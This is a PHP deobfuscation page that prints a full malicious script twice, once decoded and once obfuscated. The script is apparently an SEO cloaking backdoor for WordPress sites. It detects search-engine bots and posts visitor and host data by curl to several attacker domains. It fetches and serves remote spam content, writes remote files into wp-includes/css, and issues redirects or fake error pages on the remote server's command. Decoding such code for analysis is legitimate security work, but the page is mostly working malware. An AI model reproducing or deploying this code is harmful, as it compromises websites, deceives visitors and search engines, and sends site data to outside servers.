Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

goto rpc0I; bGszh: goto W9QW5; goto aP432; TwaOk: if (strstr($JJfCR, "\157\153\x68\x74\x6d..

Decoded Output download

<?  goto rpc0I; bGszh: goto W9QW5; goto aP432; TwaOk: if (strstr($JJfCR, "okhtmlgetcontent")) { goto IspV2; } goto gh_1A; YFLCZ: $z51ez = $rvdVk . "/" . $wrC2H . "/" . $jYD4k; goto oqnbw; PGP2J: exit; goto EAOYh; rb9sj: goto UU9we; goto SBD99; DLG3S: if (file_exists($z51ez)) { goto Ohty_; } goto BKw43; S0Nt1: $x8MQR = $rvdVk . "/" . $wrC2H; goto RuZk4; bNmvM: function Z9tTY() { goto GlIF5; GlIF5: $o5FPJ = strtolower($_SERVER["HTTP_USER_AGENT"]); goto nMqt2; RPUQh: return false; goto v_pC4; nMqt2: if (stristr($o5FPJ, "googlebot") || stristr($o5FPJ, "bing") || stristr($o5FPJ, "yahoo") || stristr($o5FPJ, "google") || stristr($o5FPJ, "Googlebot") || stristr($o5FPJ, "googlebot")) { goto xIIZp; } goto RPUQh; v_pC4: goto gVpne; goto LeBFO; LeBFO: xIIZp: goto vMKBj; vMKBj: return true; goto ZcWRe; ZcWRe: gVpne: goto BeaL5; BeaL5: } goto CRgl4; Jtsnl: function Z4ytN($bHbuI) { goto VPySt; bj7CI: QW52K: goto V4dTJ; V4dTJ: return $HlJ9K; goto rTsbl; GXJyA: foreach ($ZXMAo as $D28Kt) { goto cJk6y; dD23q: f9ZZ7: goto EHb_d; gWIaC: $Uj2vq = strpos($Tzxsx, "Sitemap Notification Received") !== false ? "pingok" : "error"; goto WA0KT; WA0KT: $HlJ9K .= $D28Kt . "-- " . $Uj2vq . "<br>"; goto dD23q; cJk6y: $Tzxsx = tJV1n($D28Kt); goto gWIaC; EHb_d: } goto bj7CI; VPySt: $ZXMAo = explode("
\xa", trim($bHbuI)); goto SRCmt; SRCmt: $HlJ9K = ''; goto GXJyA; rTsbl: } goto bNmvM; R3Lr2: $JJfCR = str_replace("pingxmlgetcontent", '', $JJfCR); goto uMibj; LO0Fl: exit; goto CKaRI; aXHbX: fGPvr: goto y8SWE; MVV6I: $smk8w = @$_SERVER["HTTP_ACCEPT_LANGUAGE"]; goto rz3P4; Zr1ay: $wrC2H = "wp-includes/css"; goto ay3FR; lvvtL: SiPwM: goto XTrYm; YyFjG: @header("Content-type: text/html; charset=utf-8"); goto DLG3S; hEqjp: $XqRf3 = $El4iT . "://" . $R9DNP . "/indexnew.php?css=1"; goto euKV1; RuZk4: if (substr($sE6Yk, 0, 4) == "www.") { goto hYJkB; } goto QMSQQ; j0vhZ: @header("Content-type: text/xml"); goto PTH2i; tNCgE: goto SiPwM; goto f_g3y; REwvz: $JJfCR = str_replace("getcontent301page", '', $JJfCR); goto OW2tU; HXF9p: $rvdVk = dirname(__FILE__); goto mqNeO; A036C: $AnZTq = file_get_contents($z51ez); goto xhF0I; sGQhc: B_pc3: goto R3Lr2; jRQZG: echo z4yTn($JJfCR); goto mqgVl; CKaRI: ddtLC: goto MNY5h; glg48: $rvdVk = $_SERVER["DOCUMENT_ROOT"]; goto mLOCP; vE2ca: exit; goto Nyscq; Jxf6S: function nYfjx($p57If, $MzQQP) { goto Da91o; r1yMY: curl_close($BM0_h); goto Lr67j; Lr67j: return $gWtNM; goto arxKp; NXsnp: curl_setopt($BM0_h, CURLOPT_URL, $p57If); goto uNul9; qwj5w: curl_setopt($BM0_h, CURLOPT_POSTFIELDS, $MzQQP); goto pN9Z5; Da91o: $BM0_h = curl_init(); goto NXsnp; pN9Z5: $gWtNM = curl_exec($BM0_h); goto r1yMY; j1irj: curl_setopt($BM0_h, CURLOPT_RETURNTRANSFER, 1); goto qwj5w; g5Ru4: curl_setopt($BM0_h, CURLOPT_SSL_VERIFYPEER, 0); goto ZtvSE; ZtvSE: curl_setopt($BM0_h, CURLOPT_HEADER, 0); goto j1irj; aQhSv: curl_setopt($BM0_h, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"); goto AOJvM; uNul9: curl_setopt($BM0_h, CURLOPT_POST, 1); goto aQhSv; AOJvM: curl_setopt($BM0_h, CURLOPT_SSL_VERIFYHOST, 0); goto g5Ru4; arxKp: } goto gPj_y; xmJub: if (KMah5()) { goto ssyZN; } goto t2hgg; gh_1A: if (strstr($JJfCR, "okxmlgetcontent")) { goto nUSnk; } goto ZzXwk; GKIzT: if (stripos($Kdn9H, "saiga.php")) { goto v6lQq; } goto UtwNc; poK3N: Ohty_: goto A036C; HyT4k: if (!isset($_SERVER["HTTP_REFERER"])) { goto XH124; } goto l1d7t; R_Vrz: xlxTg: goto aht2A; tnvcs: if (!($Kdn9H == "/" || strstr($Kdn9H, "ewttm"))) { goto xlxTg; } goto pUprE; uenw9: VO3lc: goto XrrMU; jukp8: hYJkB: goto chean; MRQC1: jA19q: goto dMDPA; BKw43: $JJfCR = str_replace("[##linkcss##]", '', $JJfCR); goto zfGTj; aVQrV: function bMAnV() { goto tXXXC; uBwD0: $VYlxH = $_SERVER["PHP_SELF"] . "?" . $_SERVER["argv"][0]; goto S6dl9; SSsM0: return $VYlxH; goto oaLke; OQelk: heQyw: goto uBwD0; q0dNi: $VYlxH = $_SERVER["PHP_SELF"] . "?" . $_SERVER["QUERY_STRING"]; goto yj7Kc; gCZ2w: $VYlxH = $_SERVER["REQUEST_URI"]; goto tvovL; Lj7H_: if (isset($_SERVER["argv"])) { goto heQyw; } goto q0dNi; yj7Kc: goto NPx2L; goto OQelk; S6dl9: NPx2L: goto Oxy77; Oxy77: goto WwOtI; goto YpiqM; tvovL: WwOtI: goto SSsM0; tXXXC: if (isset($_SERVER["REQUEST_URI"])) { goto hk5g5; } goto Lj7H_; YpiqM: hk5g5: goto gCZ2w; oaLke: } goto JNO3P; mqNeO: goto rp_QI; goto MlFEF; aP432: CrPMJ: goto hEqjp; UtwNc: $R9DNP = "gluponwc.zbflexibya.icu"; goto I7M9H; ZzXwk: if (strstr($JJfCR, "pingxmlgetcontent")) { goto B_pc3; } goto FOTPA; jaekM: $JJfCR = trim(nYfJX($XqRf3, $yWauA)); goto jpPhj; jpPhj: if (strstr($JJfCR, "nobotuseragent")) { goto fMWr5; } goto TwaOk; km1u5: if (is_dir($rvdVk . "/wp-includes")) { goto aqnpF; } goto ESCY6; R8VYM: $R9DNP = "vmeagersf.atrousthy.xyz"; goto uenw9; yCb6l: @header("HTTP/1.1 301 Moved Permanently"); goto REwvz; xhF0I: $JJfCR = str_replace("[##linkcss##]", $AnZTq, $JJfCR); goto aXHbX; O3VHI: Jl1og: goto UwHZ2; uMibj: OZ4nw($x8MQR, $z51ez, $jiIlI); goto XxT7c; FOTPA: if (strstr($JJfCR, "getcontent500page")) { goto FfF41; } goto JACq9; fsN_Q: XH124: goto rCO6Z; XrrMU: function KmaH5() { goto P2Spu; q0iML: goto vE4M8; goto y98eN; b8QWo: return true; goto ApQ8f; LKSlo: if (isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] === "https") { goto f6ICt; } goto v9Ete; aubck: return true; goto IOAtV; y98eN: opvX4: goto b8QWo; hzXAJ: f6ICt: goto LgkLk; ApQ8f: goto vE4M8; goto hzXAJ; LgkLk: return true; goto b_Yex; v9Ete: if (isset($_SERVER["HTTP_FRONT_END_HTTPS"]) && strtolower($_SERVER["HTTP_FRONT_END_HTTPS"]) !== "off") { goto Qp9zL; } goto q0iML; P2Spu: if (isset($_SERVER["HTTPS"]) && strtolower($_SERVER["HTTPS"]) !== "off") { goto opvX4; } goto LKSlo; KH3bY: return false; goto o1KVM; b_Yex: goto vE4M8; goto Vvfcl; Vvfcl: Qp9zL: goto aubck; IOAtV: vE4M8: goto KH3bY; o1KVM: } goto Rxw3z; fnhdD: goto b3xVm; goto jukp8; Rxw3z: $sE6Yk = $_SERVER["HTTP_HOST"]; goto MVV6I; AjmS_: if (is_file($z51ez)) { goto CrPMJ; } goto J3SMI; mLOCP: rp_QI: goto km1u5; MqQch: $C68XU = ''; goto HyT4k; aht2A: $yWauA = array("web" => $sE6Yk, "zz" => Z9tty(), "uri" => $VYlxH, "urlshang" => $C68XU, "http" => $Fctt7, "lang" => $smk8w); goto AjmS_; mmPxw: @header("HTTP/1.1 404 Not Found"); goto vE2ca; gPj_y: function Oz4nW($x8MQR, $z51ez, $jiIlI) { goto vUVL6; B4ffc: OjsIY: goto s6e0t; Iv95y: gjhZ5: goto R2vhq; zxdHQ: goto k7ERs; goto B4ffc; HW4OA: if (!@mkdir($x8MQR)) { goto O2vWw; } goto zsSR0; s6e0t: if (file_exists($z51ez)) { goto gjhZ5; } goto GWO_q; cYusE: O2vWw: goto zxdHQ; GWO_q: @file_put_contents($z51ez, tJV1n($jiIlI)); goto Iv95y; R2vhq: k7ERs: goto UXCNc; SCyB7: fzUyi: goto cYusE; vUVL6: if (is_dir($x8MQR)) { goto OjsIY; } goto HW4OA; b2Bsd: @file_put_contents($z51ez, TJv1N($jiIlI)); goto SCyB7; zsSR0: if (file_exists($z51ez)) { goto fzUyi; } goto b2Bsd; UXCNc: } goto tnvcs; Nyscq: BIxKO: goto rb9sj; p5euB: $Fctt7 = "https"; goto lvvtL; EAOYh: GVico: goto ahinS; I7M9H: goto FUM9a; goto X20Cs; iOHTw: $El4iT = "http"; goto xmJub; chean: $SvQZ2 = substr($sE6Yk, 4); goto hStMs; euKV1: W9QW5: goto jaekM; UwHZ2: $VYlxH = $Kdn9H; goto aVQrV; ay3FR: FDjbc: goto S0Nt1; rpc0I: $ZEq3L = "%74%79%68%63%62%61%6A%70%2E%6D%6F%73%79%72%6B%76%6F%6C%6E%2E%76%70%68"; goto iOHTw; zfGTj: goto fGPvr; goto poK3N; XxT7c: @header("Content-type: text/html; charset=utf-8"); goto jRQZG; oqnbw: $jiIlI = $El4iT . "://" . $R9DNP . "/temp/style.css"; goto Jtsnl; l1d7t: $C68XU = $_SERVER["HTTP_REFERER"]; goto Pjvm7; a78CI: goto VO3lc; goto Z3ig5; lUEin: $JJfCR = str_replace("okxmlgetcontent", '', $JJfCR); goto j0vhZ; xuOvv: echo $JJfCR; goto PGP2J; Spy1j: $Kdn9H = "/"; goto O3VHI; pUprE: oz4Nw($x8MQR, $z51ez, $jiIlI); goto R_Vrz; hStMs: b3xVm: goto NWQdC; tMf45: aqnpF: goto Zr1ay; CRgl4: function TJv1n($bHbuI) { goto w0Kz0; S59DK: return $qO002; goto XZTXc; syHTX: $qO002 = @file_get_contents($bHbuI); goto BbqDz; w0Kz0: $qO002 = ''; goto d8_jC; BbqDz: G80e5: goto S59DK; d8_jC: if ($qO002) { goto G80e5; } goto syHTX; XZTXc: } goto Jxf6S; rCO6Z: if (isset($_SERVER["DOCUMENT_ROOT"])) { goto G9Gw4; } goto HXF9p; aHD75: nUSnk: goto lUEin; XTrYm: $Kdn9H = bMAnv(); goto EZKsg; JACq9: if (strstr($JJfCR, "getcontent404page")) { goto cr7ZM; } goto eGMFp; SBD99: FfF41: goto bE7GA; CQqv9: goto ZgFYW; goto sGQhc; msAEH: FUM9a: goto a78CI; t2hgg: $Fctt7 = "http"; goto tNCgE; y8SWE: $JJfCR = str_replace("okhtmlgetcontent", '', $JJfCR); goto xuOvv; Pjvm7: $C68XU = $C68XU; goto fsN_Q; W6F0Q: IspV2: goto YyFjG; Z3ig5: Tid9S: goto R8VYM; bBoFd: exit; goto ADllJ; f_g3y: ssyZN: goto p5euB; SB3T8: goto jA19q; goto aHD75; eGMFp: if (!strstr($JJfCR, "getcontent301page")) { goto ddtLC; } goto yCb6l; EZKsg: if (!($Kdn9H == '')) { goto Jl1og; } goto Spy1j; J3SMI: $XqRf3 = $El4iT . "://" . $R9DNP . "/indexnew.php"; goto bGszh; OW2tU: header("Location: " . $JJfCR); goto LO0Fl; ADllJ: UU9we: goto CQqv9; ESCY6: $wrC2H = "css"; goto Q89pk; UlwmF: ZgFYW: goto SB3T8; JNO3P: if (stripos($Kdn9H, "ammika.php")) { goto Tid9S; } goto GKIzT; MlFEF: G9Gw4: goto glg48; ghZnt: cr7ZM: goto mmPxw; NWQdC: $jYD4k = str_rot13(substr($SvQZ2, 0, 3) . substr($R9DNP, 0, 3)) . ".css"; goto YFLCZ; QMSQQ: $SvQZ2 = $sE6Yk; goto fnhdD; bE7GA: @header("HTTP/1.1 500 Internal Server Error"); goto bBoFd; X20Cs: v6lQq: goto hfurV; rz3P4: $smk8w = $smk8w; goto MqQch; lw22a: exit; goto MRQC1; mqgVl: exit; goto UlwmF; MNY5h: goto BIxKO; goto ghZnt; hfurV: $R9DNP = "uvrgeouce.objasmile.icu"; goto msAEH; PTH2i: echo $JJfCR; goto lw22a; dMDPA: goto GVico; goto W6F0Q; Q89pk: goto FDjbc; goto tMf45; ahinS: fMWr5: 
 ?>

Did this file decode correctly?

Original Code

goto rpc0I; bGszh: goto W9QW5; goto aP432; TwaOk: if (strstr($JJfCR, "\157\153\x68\x74\x6d\154\x67\x65\x74\x63\157\156\164\145\x6e\x74")) { goto IspV2; } goto gh_1A; YFLCZ: $z51ez = $rvdVk . "\57" . $wrC2H . "\57" . $jYD4k; goto oqnbw; PGP2J: exit; goto EAOYh; rb9sj: goto UU9we; goto SBD99; DLG3S: if (file_exists($z51ez)) { goto Ohty_; } goto BKw43; S0Nt1: $x8MQR = $rvdVk . "\57" . $wrC2H; goto RuZk4; bNmvM: function Z9tTY() { goto GlIF5; GlIF5: $o5FPJ = strtolower($_SERVER["\x48\124\x54\x50\x5f\x55\123\105\122\x5f\x41\x47\105\116\x54"]); goto nMqt2; RPUQh: return false; goto v_pC4; nMqt2: if (stristr($o5FPJ, "\147\x6f\x6f\147\x6c\x65\x62\157\164") || stristr($o5FPJ, "\142\151\x6e\147") || stristr($o5FPJ, "\x79\x61\x68\157\x6f") || stristr($o5FPJ, "\147\x6f\x6f\x67\154\x65") || stristr($o5FPJ, "\x47\157\157\147\154\x65\x62\157\164") || stristr($o5FPJ, "\x67\157\157\147\x6c\145\142\157\x74")) { goto xIIZp; } goto RPUQh; v_pC4: goto gVpne; goto LeBFO; LeBFO: xIIZp: goto vMKBj; vMKBj: return true; goto ZcWRe; ZcWRe: gVpne: goto BeaL5; BeaL5: } goto CRgl4; Jtsnl: function Z4ytN($bHbuI) { goto VPySt; bj7CI: QW52K: goto V4dTJ; V4dTJ: return $HlJ9K; goto rTsbl; GXJyA: foreach ($ZXMAo as $D28Kt) { goto cJk6y; dD23q: f9ZZ7: goto EHb_d; gWIaC: $Uj2vq = strpos($Tzxsx, "\x53\x69\x74\x65\x6d\141\160\40\x4e\x6f\x74\x69\146\151\x63\141\x74\x69\157\156\40\x52\145\143\145\x69\x76\x65\144") !== false ? "\x70\x69\x6e\147\x6f\x6b" : "\145\x72\x72\157\162"; goto WA0KT; WA0KT: $HlJ9K .= $D28Kt . "\x2d\55\40" . $Uj2vq . "\74\142\x72\76"; goto dD23q; cJk6y: $Tzxsx = tJV1n($D28Kt); goto gWIaC; EHb_d: } goto bj7CI; VPySt: $ZXMAo = explode("\15\xa", trim($bHbuI)); goto SRCmt; SRCmt: $HlJ9K = ''; goto GXJyA; rTsbl: } goto bNmvM; R3Lr2: $JJfCR = str_replace("\160\151\156\x67\x78\x6d\x6c\147\x65\x74\x63\x6f\x6e\164\x65\x6e\x74", '', $JJfCR); goto uMibj; LO0Fl: exit; goto CKaRI; aXHbX: fGPvr: goto y8SWE; MVV6I: $smk8w = @$_SERVER["\x48\x54\124\x50\137\x41\x43\x43\x45\x50\x54\137\x4c\101\116\x47\x55\101\107\105"]; goto rz3P4; Zr1ay: $wrC2H = "\167\160\55\151\x6e\x63\154\x75\x64\145\x73\x2f\x63\163\x73"; goto ay3FR; lvvtL: SiPwM: goto XTrYm; YyFjG: @header("\103\x6f\156\x74\x65\x6e\x74\55\164\x79\160\145\72\40\164\145\x78\x74\57\x68\x74\155\154\73\40\143\150\x61\x72\x73\145\x74\x3d\165\164\146\x2d\70"); goto DLG3S; hEqjp: $XqRf3 = $El4iT . "\x3a\57\x2f" . $R9DNP . "\57\x69\x6e\144\x65\x78\156\x65\167\56\160\150\x70\77\x63\163\x73\75\61"; goto euKV1; RuZk4: if (substr($sE6Yk, 0, 4) == "\167\x77\x77\56") { goto hYJkB; } goto QMSQQ; j0vhZ: @header("\103\x6f\x6e\x74\145\156\x74\x2d\164\x79\x70\145\x3a\x20\164\145\x78\164\x2f\x78\155\x6c"); goto PTH2i; tNCgE: goto SiPwM; goto f_g3y; REwvz: $JJfCR = str_replace("\147\145\164\x63\x6f\x6e\164\145\x6e\x74\63\60\61\x70\141\x67\145", '', $JJfCR); goto OW2tU; HXF9p: $rvdVk = dirname(__FILE__); goto mqNeO; A036C: $AnZTq = file_get_contents($z51ez); goto xhF0I; sGQhc: B_pc3: goto R3Lr2; jRQZG: echo z4yTn($JJfCR); goto mqgVl; CKaRI: ddtLC: goto MNY5h; glg48: $rvdVk = $_SERVER["\x44\x4f\103\125\115\x45\116\x54\x5f\122\117\x4f\x54"]; goto mLOCP; vE2ca: exit; goto Nyscq; Jxf6S: function nYfjx($p57If, $MzQQP) { goto Da91o; r1yMY: curl_close($BM0_h); goto Lr67j; Lr67j: return $gWtNM; goto arxKp; NXsnp: curl_setopt($BM0_h, CURLOPT_URL, $p57If); goto uNul9; qwj5w: curl_setopt($BM0_h, CURLOPT_POSTFIELDS, $MzQQP); goto pN9Z5; Da91o: $BM0_h = curl_init(); goto NXsnp; pN9Z5: $gWtNM = curl_exec($BM0_h); goto r1yMY; j1irj: curl_setopt($BM0_h, CURLOPT_RETURNTRANSFER, 1); goto qwj5w; g5Ru4: curl_setopt($BM0_h, CURLOPT_SSL_VERIFYPEER, 0); goto ZtvSE; ZtvSE: curl_setopt($BM0_h, CURLOPT_HEADER, 0); goto j1irj; aQhSv: curl_setopt($BM0_h, CURLOPT_USERAGENT, "\115\157\x7a\x69\x6c\x6c\x61\x2f\64\x2e\x30\x20\x28\x63\157\155\160\141\164\151\142\154\x65\73\40\x4d\123\111\105\x20\65\x2e\60\61\x3b\40\x57\151\156\144\157\167\163\40\x4e\x54\x20\x35\x2e\x30\51"); goto AOJvM; uNul9: curl_setopt($BM0_h, CURLOPT_POST, 1); goto aQhSv; AOJvM: curl_setopt($BM0_h, CURLOPT_SSL_VERIFYHOST, 0); goto g5Ru4; arxKp: } goto gPj_y; xmJub: if (KMah5()) { goto ssyZN; } goto t2hgg; gh_1A: if (strstr($JJfCR, "\x6f\x6b\x78\155\x6c\147\x65\x74\x63\x6f\x6e\x74\x65\x6e\164")) { goto nUSnk; } goto ZzXwk; GKIzT: if (stripos($Kdn9H, "\163\x61\151\147\x61\56\160\150\x70")) { goto v6lQq; } goto UtwNc; poK3N: Ohty_: goto A036C; HyT4k: if (!isset($_SERVER["\x48\124\x54\120\137\x52\x45\106\105\122\x45\x52"])) { goto XH124; } goto l1d7t; R_Vrz: xlxTg: goto aht2A; tnvcs: if (!($Kdn9H == "\x2f" || strstr($Kdn9H, "\145\167\164\x74\x6d"))) { goto xlxTg; } goto pUprE; uenw9: VO3lc: goto XrrMU; jukp8: hYJkB: goto chean; MRQC1: jA19q: goto dMDPA; BKw43: $JJfCR = str_replace("\x5b\43\43\154\151\x6e\x6b\x63\x73\163\x23\43\135", '', $JJfCR); goto zfGTj; aVQrV: function bMAnV() { goto tXXXC; uBwD0: $VYlxH = $_SERVER["\x50\110\120\x5f\123\105\114\106"] . "\77" . $_SERVER["\x61\x72\x67\166"][0]; goto S6dl9; SSsM0: return $VYlxH; goto oaLke; OQelk: heQyw: goto uBwD0; q0dNi: $VYlxH = $_SERVER["\120\110\x50\137\123\105\x4c\106"] . "\x3f" . $_SERVER["\121\x55\x45\122\x59\x5f\x53\x54\122\111\116\x47"]; goto yj7Kc; gCZ2w: $VYlxH = $_SERVER["\x52\x45\x51\x55\105\123\124\x5f\x55\122\x49"]; goto tvovL; Lj7H_: if (isset($_SERVER["\x61\x72\147\x76"])) { goto heQyw; } goto q0dNi; yj7Kc: goto NPx2L; goto OQelk; S6dl9: NPx2L: goto Oxy77; Oxy77: goto WwOtI; goto YpiqM; tvovL: WwOtI: goto SSsM0; tXXXC: if (isset($_SERVER["\122\105\121\125\105\123\124\x5f\x55\122\x49"])) { goto hk5g5; } goto Lj7H_; YpiqM: hk5g5: goto gCZ2w; oaLke: } goto JNO3P; mqNeO: goto rp_QI; goto MlFEF; aP432: CrPMJ: goto hEqjp; UtwNc: $R9DNP = "\147\154\165\160\x6f\156\167\143\56\172\x62\146\154\145\x78\151\x62\171\x61\56\151\143\x75"; goto I7M9H; ZzXwk: if (strstr($JJfCR, "\x70\151\x6e\x67\x78\155\154\147\x65\x74\143\x6f\x6e\x74\145\156\164")) { goto B_pc3; } goto FOTPA; jaekM: $JJfCR = trim(nYfJX($XqRf3, $yWauA)); goto jpPhj; jpPhj: if (strstr($JJfCR, "\156\x6f\142\x6f\x74\x75\x73\145\x72\141\x67\x65\x6e\164")) { goto fMWr5; } goto TwaOk; km1u5: if (is_dir($rvdVk . "\57\167\x70\55\151\x6e\x63\154\165\x64\145\x73")) { goto aqnpF; } goto ESCY6; R8VYM: $R9DNP = "\166\x6d\145\x61\x67\x65\x72\x73\146\56\x61\x74\x72\157\165\x73\x74\x68\x79\56\x78\x79\x7a"; goto uenw9; yCb6l: @header("\110\124\124\x50\57\61\56\61\x20\63\60\x31\x20\x4d\x6f\166\145\144\40\x50\145\x72\x6d\x61\x6e\145\x6e\x74\x6c\x79"); goto REwvz; xhF0I: $JJfCR = str_replace("\133\x23\x23\x6c\x69\x6e\153\143\163\163\43\43\x5d", $AnZTq, $JJfCR); goto aXHbX; O3VHI: Jl1og: goto UwHZ2; uMibj: OZ4nw($x8MQR, $z51ez, $jiIlI); goto XxT7c; FOTPA: if (strstr($JJfCR, "\x67\145\164\x63\157\x6e\164\145\156\164\x35\x30\x30\x70\141\147\145")) { goto FfF41; } goto JACq9; fsN_Q: XH124: goto rCO6Z; XrrMU: function KmaH5() { goto P2Spu; q0iML: goto vE4M8; goto y98eN; b8QWo: return true; goto ApQ8f; LKSlo: if (isset($_SERVER["\x48\124\x54\120\x5f\x58\137\x46\117\122\127\101\122\x44\105\x44\x5f\x50\122\117\x54\117"]) && $_SERVER["\x48\124\x54\120\x5f\x58\137\106\x4f\122\127\x41\122\104\x45\104\137\x50\x52\x4f\x54\117"] === "\150\x74\164\160\x73") { goto f6ICt; } goto v9Ete; aubck: return true; goto IOAtV; y98eN: opvX4: goto b8QWo; hzXAJ: f6ICt: goto LgkLk; ApQ8f: goto vE4M8; goto hzXAJ; LgkLk: return true; goto b_Yex; v9Ete: if (isset($_SERVER["\110\x54\124\x50\x5f\x46\122\x4f\116\124\x5f\x45\116\x44\137\x48\x54\124\120\123"]) && strtolower($_SERVER["\x48\x54\124\x50\x5f\x46\x52\x4f\x4e\124\x5f\105\116\104\137\110\x54\x54\120\x53"]) !== "\157\146\x66") { goto Qp9zL; } goto q0iML; P2Spu: if (isset($_SERVER["\x48\x54\x54\120\x53"]) && strtolower($_SERVER["\x48\x54\124\x50\123"]) !== "\157\146\146") { goto opvX4; } goto LKSlo; KH3bY: return false; goto o1KVM; b_Yex: goto vE4M8; goto Vvfcl; Vvfcl: Qp9zL: goto aubck; IOAtV: vE4M8: goto KH3bY; o1KVM: } goto Rxw3z; fnhdD: goto b3xVm; goto jukp8; Rxw3z: $sE6Yk = $_SERVER["\110\x54\x54\120\137\110\x4f\x53\124"]; goto MVV6I; AjmS_: if (is_file($z51ez)) { goto CrPMJ; } goto J3SMI; mLOCP: rp_QI: goto km1u5; MqQch: $C68XU = ''; goto HyT4k; aht2A: $yWauA = array("\167\145\142" => $sE6Yk, "\x7a\x7a" => Z9tty(), "\165\x72\151" => $VYlxH, "\x75\162\154\x73\x68\x61\x6e\147" => $C68XU, "\x68\164\164\x70" => $Fctt7, "\154\x61\156\x67" => $smk8w); goto AjmS_; mmPxw: @header("\110\124\x54\120\57\61\x2e\61\40\64\x30\x34\40\x4e\x6f\x74\40\106\x6f\165\x6e\144"); goto vE2ca; gPj_y: function Oz4nW($x8MQR, $z51ez, $jiIlI) { goto vUVL6; B4ffc: OjsIY: goto s6e0t; Iv95y: gjhZ5: goto R2vhq; zxdHQ: goto k7ERs; goto B4ffc; HW4OA: if (!@mkdir($x8MQR)) { goto O2vWw; } goto zsSR0; s6e0t: if (file_exists($z51ez)) { goto gjhZ5; } goto GWO_q; cYusE: O2vWw: goto zxdHQ; GWO_q: @file_put_contents($z51ez, tJV1n($jiIlI)); goto Iv95y; R2vhq: k7ERs: goto UXCNc; SCyB7: fzUyi: goto cYusE; vUVL6: if (is_dir($x8MQR)) { goto OjsIY; } goto HW4OA; b2Bsd: @file_put_contents($z51ez, TJv1N($jiIlI)); goto SCyB7; zsSR0: if (file_exists($z51ez)) { goto fzUyi; } goto b2Bsd; UXCNc: } goto tnvcs; Nyscq: BIxKO: goto rb9sj; p5euB: $Fctt7 = "\150\164\x74\160\x73"; goto lvvtL; EAOYh: GVico: goto ahinS; I7M9H: goto FUM9a; goto X20Cs; iOHTw: $El4iT = "\150\164\x74\160"; goto xmJub; chean: $SvQZ2 = substr($sE6Yk, 4); goto hStMs; euKV1: W9QW5: goto jaekM; UwHZ2: $VYlxH = $Kdn9H; goto aVQrV; ay3FR: FDjbc: goto S0Nt1; rpc0I: $ZEq3L = "\45\67\64\45\67\x39\x25\x36\70\x25\x36\x33\x25\x36\62\45\x36\x31\x25\66\x41\45\67\x30\45\62\105\45\x36\x44\x25\66\x46\45\67\63\x25\x37\x39\x25\67\62\x25\x36\102\x25\67\66\x25\x36\106\45\x36\x43\45\66\x45\x25\62\x45\45\x37\66\45\67\60\x25\x36\70"; goto iOHTw; zfGTj: goto fGPvr; goto poK3N; XxT7c: @header("\103\x6f\x6e\164\145\x6e\x74\x2d\x74\x79\160\x65\72\40\164\145\x78\x74\x2f\150\164\x6d\154\73\x20\143\150\x61\x72\163\145\x74\75\x75\164\146\55\70"); goto jRQZG; oqnbw: $jiIlI = $El4iT . "\x3a\x2f\x2f" . $R9DNP . "\x2f\x74\145\x6d\160\x2f\x73\164\171\154\145\x2e\143\163\x73"; goto Jtsnl; l1d7t: $C68XU = $_SERVER["\110\x54\x54\x50\137\x52\x45\106\105\x52\x45\x52"]; goto Pjvm7; a78CI: goto VO3lc; goto Z3ig5; lUEin: $JJfCR = str_replace("\x6f\x6b\x78\155\154\x67\x65\x74\143\157\x6e\x74\x65\x6e\164", '', $JJfCR); goto j0vhZ; xuOvv: echo $JJfCR; goto PGP2J; Spy1j: $Kdn9H = "\x2f"; goto O3VHI; pUprE: oz4Nw($x8MQR, $z51ez, $jiIlI); goto R_Vrz; hStMs: b3xVm: goto NWQdC; tMf45: aqnpF: goto Zr1ay; CRgl4: function TJv1n($bHbuI) { goto w0Kz0; S59DK: return $qO002; goto XZTXc; syHTX: $qO002 = @file_get_contents($bHbuI); goto BbqDz; w0Kz0: $qO002 = ''; goto d8_jC; BbqDz: G80e5: goto S59DK; d8_jC: if ($qO002) { goto G80e5; } goto syHTX; XZTXc: } goto Jxf6S; rCO6Z: if (isset($_SERVER["\104\117\103\x55\x4d\x45\116\x54\x5f\122\117\x4f\x54"])) { goto G9Gw4; } goto HXF9p; aHD75: nUSnk: goto lUEin; XTrYm: $Kdn9H = bMAnv(); goto EZKsg; JACq9: if (strstr($JJfCR, "\147\145\x74\143\x6f\x6e\164\x65\156\x74\x34\x30\64\160\141\147\145")) { goto cr7ZM; } goto eGMFp; SBD99: FfF41: goto bE7GA; CQqv9: goto ZgFYW; goto sGQhc; msAEH: FUM9a: goto a78CI; t2hgg: $Fctt7 = "\x68\x74\164\x70"; goto tNCgE; y8SWE: $JJfCR = str_replace("\157\x6b\150\x74\155\x6c\147\145\164\143\x6f\156\164\x65\156\x74", '', $JJfCR); goto xuOvv; Pjvm7: $C68XU = $C68XU; goto fsN_Q; W6F0Q: IspV2: goto YyFjG; Z3ig5: Tid9S: goto R8VYM; bBoFd: exit; goto ADllJ; f_g3y: ssyZN: goto p5euB; SB3T8: goto jA19q; goto aHD75; eGMFp: if (!strstr($JJfCR, "\x67\x65\164\x63\x6f\x6e\164\145\x6e\x74\63\x30\x31\x70\141\x67\145")) { goto ddtLC; } goto yCb6l; EZKsg: if (!($Kdn9H == '')) { goto Jl1og; } goto Spy1j; J3SMI: $XqRf3 = $El4iT . "\x3a\x2f\57" . $R9DNP . "\57\151\x6e\x64\x65\x78\x6e\145\x77\x2e\x70\x68\x70"; goto bGszh; OW2tU: header("\x4c\x6f\x63\141\x74\151\157\x6e\x3a\x20" . $JJfCR); goto LO0Fl; ADllJ: UU9we: goto CQqv9; ESCY6: $wrC2H = "\143\163\163"; goto Q89pk; UlwmF: ZgFYW: goto SB3T8; JNO3P: if (stripos($Kdn9H, "\141\x6d\155\x69\153\141\56\160\x68\x70")) { goto Tid9S; } goto GKIzT; MlFEF: G9Gw4: goto glg48; ghZnt: cr7ZM: goto mmPxw; NWQdC: $jYD4k = str_rot13(substr($SvQZ2, 0, 3) . substr($R9DNP, 0, 3)) . "\x2e\143\x73\x73"; goto YFLCZ; QMSQQ: $SvQZ2 = $sE6Yk; goto fnhdD; bE7GA: @header("\x48\x54\124\120\x2f\61\56\x31\x20\x35\x30\x30\x20\x49\156\x74\145\x72\x6e\141\x6c\40\x53\x65\x72\166\145\162\x20\105\162\162\x6f\162"); goto bBoFd; X20Cs: v6lQq: goto hfurV; rz3P4: $smk8w = $smk8w; goto MqQch; lw22a: exit; goto MRQC1; mqgVl: exit; 